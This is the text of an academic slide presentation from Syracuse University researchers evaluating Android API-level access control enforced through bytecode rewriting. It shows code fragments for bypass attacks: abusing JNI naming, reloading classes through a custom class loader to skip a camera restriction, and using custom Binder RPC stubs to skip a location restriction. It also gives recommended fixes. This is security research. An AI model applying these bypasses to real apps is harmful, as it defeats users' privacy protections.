On the Effectiveness of - PowerPoint Presentation

Slide1

On the Effectiveness of API-Level Access Control Using Bytecode Rewriting

Wenliang DuSyracuse University

Vicky SinghSyracuse University

Hao Hao

Syracuse UniversitySlide2

Agenda Introduction on API-level Access Control using Bytecode Rewriting

Analysis on Existing WorksAttacksRecommendationsSlide3

Android Permission SystemCurrent Android install-time permission system

Coarse-grained Permissionse.g., INTERNET permissionApplication

Android APIPrivileged Resources

Check Permissions

Problem

StatementSlide4

API-level Access ControlImpose fine-grained access control

Instrument applicationsBytecode rewriting Native library rewritingModify Android platformProblem

StatementFlexibility Rich context information

Easy deploymentSlide5

Existing WorksBytecode rewriting

Improving privacy on android smartphones through in-vivo bytecode instrumentation. A. Bartel, J. Klein, K. Allix, Y. Traon, and M. Monperrus.I-arm-droid: A rewriting framework for in-app reference monitors for android applications.B. Davis, B. Sanders, A. Khodaverdian, and H. Chen.Dr. android and Mr. hide: Fine-grained security policies on unmodified android.J. Jeon, K. K. Micinski, and J. A. VaughanApplication-centric security policies on unmodified android.N. Reddy, J. Jeon, J. Vaughan, T. Millstein, and J. Foster

Problem

StatementSlide6

ObjectiveSystematic evaluation to assess the effectiveness of API-level access control using bytecode rewriting on

Android platformSlide7

API-level Access Control Using Bytecode Rewriting

Design

Implementation

Application

Android API

Privileged Resources

Secure Wrapper

Problem

Statement

Secure

App.apk

Dalvik Bytecode Static Analysis

Dalvik Bytecode Rewriting

Repackage

and Resigning

Original

App.apkSlide8

Android API Architecture

System Server Process

Linux Kernel

Application

Android APIs

System Services

Secure Wrapper

Native Shared Library

Binder

Java Native Interface

Application Process

Dalvik Virtual Machine

Dalvik Virtual Machine

Kernel Space

Privileged Resources

AnalysisSlide9

Effectiveness of API-level Access Control

System Server Process

Linux Kernel

Application

Android APIs

System Services

Secure Wrapper

Native Shared Library

Binder

Java Native Interface

Application Process

Dalvik Virtual Machine

Dalvik Virtual Machine

Kernel Space

2

1

3

4

Privileged Resources

AnalysisSlide10

Path 2: Invoke Native Libraries Directly

Background: Java Native Interface Enable communications between Java code and native code.UsageAttacks

package edu.com;public class MyClass {native public long myFunc();

static {

System.

loadLibrary

("

myLib

");

}

}

JNIEXPORT

jlong

Java_edu_com_MyClass_myFunc( JNIEnv

* env, jobject

thiz);

myLib.so

static

JNINativeMethod

method_table

[] = {{

"

myFunc

", "(J)J", (void

*)

myFunc_Implementation

}};

extern "C" jint JNI_OnLoad(

JavaVM

*

vm

, ... ) {

jclass c = env->FindClass("

edu

/com/

MyClass

");

env->

RegisterNatives

(c,

method_table

, 1); }

Dynamic Name Resolution

Static Methods AssociationSlide11

Path 2: Exploit JNI Naming Convention

ObjectiveInvoke a native library function without going through its corresponding Java API to evade the restriction enforced by the secure wrapper.

Android APIs

Secure Wrapper

Shared Libraries

Application

Methods

JNI

JNI

AttacksSlide12

Path 2: Exploit JNI Naming Convention

Attempts

1: (Fail)

Attempts

2: (Success)

package edu.com;

public class

MyClass

{

native public long

my_Func

();

}

package

edu.com.MyClass

;

public class my {

native public long

Func

();

}

package

edu.com.MyClass

;

public class my {

native long 1Func();

static {

System.loadLibrary

(’

myLib

’);

}

}

Attacks

JNIEXPORT

jlong

Java_edu_com_MyClass_my_1Func(

JNIEnv

* env,

jobject

thiz

);

JNIEXPORT

jlong

Java_edu_com_MyClass_my_Func

(

JNIEnv

* env,

jobject

thiz

);Slide13

Path 2: Case Study

In sqlite_jni library, we found functions with the "_1" pattern in the names.By invoking SQLite.Database.error.1string we successfully invoked Java_SQLite_Database_error_1string.package SQLite.Database;public class error {public static native

String 1string(...);static{ System.loadLibrary(’sqlite_jni’); }}

Results

JNIEXPORT

jstring

JNICALL

Java_SQLite_Database_error_1string(

JNIEnv

*env, …)

{

…

}

sqlite_jni.soSlide14

Path 2: Exploit Java Class Reloading

Objectivemodify the implementation of the APIs that the wrapper is trying to protect.ApplicationCustomized Android APIs

Secure Wrapper

Shared Libraries

Class Loader

JNI

AttacksSlide15

Path 2: Exploit Java Class Reloading

Attempts 1: (Fail)use DexClassLoader to load redefined classAttacks

package android.hardware;public class Camera{ final public void someFunc

() {

//Calling the privileged function

privilegedFunc

(); }

native void

privilegedFunc

();

}

DexClassLoader

classLoader =

new DexClassLoader

("Camera.apk", ..., getClassLoader

()); Class mClass = classLoader.loadClass("android.hardware.Camera");

android.hardware.Camera

c = (

android.hardware.Camera

)

mClass.newInstance

();

//Access the privileged native code through

someFunc

()

c.someFunc

();

Class cannot be loaded again Slide16

Path 2: Exploit Java Class Reloading

Attempts 2: (Success)Use user-define class loaderAttacks

package android.hardware;public class Camera{ final public void someFunc() { //Calling the privileged function

privilegedFunc

(); }

native void

privilegedFunc

();

}

public

class

MyDexLoader

extends BaseDexClassLoader {

// Constructor omitted @Override public Class<?> loadClass(String s) { Class c; try

{ c =

super

.findClass

(s);

return c;

}

catch

(

ClassNotFoundException

e) {

// handling the exceptions

}

return

null; }

}

Override loading policy Slide17

Path 2:Case Study

Performed our attack on a camera application. Bytecode rewriter enforced finer-grained access control on method Camera.takePicturereload redefined android.hardware.Camera class into a new class loader.

Resultspublic

class

SecureCamera

{

public

static

void

takePicture(Camera camera, ...){ Time now = new Time();

now.setToNow();

if(now.hour > 8 && now.hour

< 18) {camera.takePicture(...); }}}package android.hardware

;

public class

Camera {

public void

takeMyPicture

(...) {...}}

Take pictures between 8am to 6pmSlide18

Path 2:Case Study

Associate native Java methods of Camera class with corresponding native library functions.Then attackers can use their customized class definition

Results//Create a customized class loader

MyDexLoader

ld =

new

MyDexLoader

(...);

//Load redefined Camera class

Class c =

ld.loadClass

("

android.hardware.Camera

");Class util = ld.loadClass("com.android.internal.util.WithFramework

");

Method m = util.getDeclaredMethod("registerNatives

", ...);m.invoke(...);//Invoke takeMyPicture

method using reflection

m =

c.getDeclaredMethod

("

takeMyPicture

", ...);

m.invoke

(...); ... }

registers native functions with

Camera

Java classSlide19

Path 2: Recommendations

Recommendations for Exploit JNI Naming ConventionIf any Java methods start with numbers, bytecode rewriter should remove the digit as it is illegal.Recommendations for Exploit Java Class ReloadingOne possible way is bytecode rewriter should restrict all the invocations of methods within the call chain from findClass in the class BaseDexClassLoader to loadClass in DexFile.

DiscussionsSlide20

Path 3:Exploit Customized RPC Stubs

ObjectiveApplications code can directly communicate with the system services without going through APIs that invoke RPC stubs.Attackwrite attackers own RPC stub to communicate with System ServiceSecure Wrapper

Native Shared Library

Customized RPC Stubs

Application

Android APIs

AttacksSlide21

Path 3:Case Study

Evaluated on a geolocation application. Bytecode rewriter enforced fine access control policy on method getLastKnownLocation.class SecureLocationManager extends

LocationManager{public Location getLastKnownLocation(...) { Location loc = super.getLastKnownLocation(...);

if

(

loc.getLatitude

()>60&&

loc.getLatitude

()<70&&

loc.getLongtitude

()>140&&

loc.getLongtitude

() <160) {

return loc; }}

Results

Retrieve location

information when the location is within Alaska.Slide22

Path 3:Case Study

Attackers can introduce customized RPC with different method signature.Use customized RPC with different method signature to bypass access control placed on getLastKnownLocation API.package my.location;/* User-defined RPC stub class */

public interface LocMgr extends android.os.IInterface { public

static

abstract

class

Stub

extends

android.os.Binder

implements

my.location.LocMgr {...}}

Results

import

my.location.LocMgr

;

IBinder

b=

android.os.ServiceManager.getService

(LOCATION_SERVICE);

LocMgr

sLocationManger

=

LocMgr.Stub.asInterface

(b);

Location loc =

sLocationManger.getLastKnownLocation

(...);Slide23

Path 3:Recommendation

The fix is to apply the API-level access control on android.os.ServiceManager’s getService API, so application’s Java code cannot use this API to get system services.DiscussionsSlide24

ConclusionOur work manifests the need to address all the above attacks to fulfill an effective API-level access control using bytecode rewriting.

DiscussionsSlide25

Questions?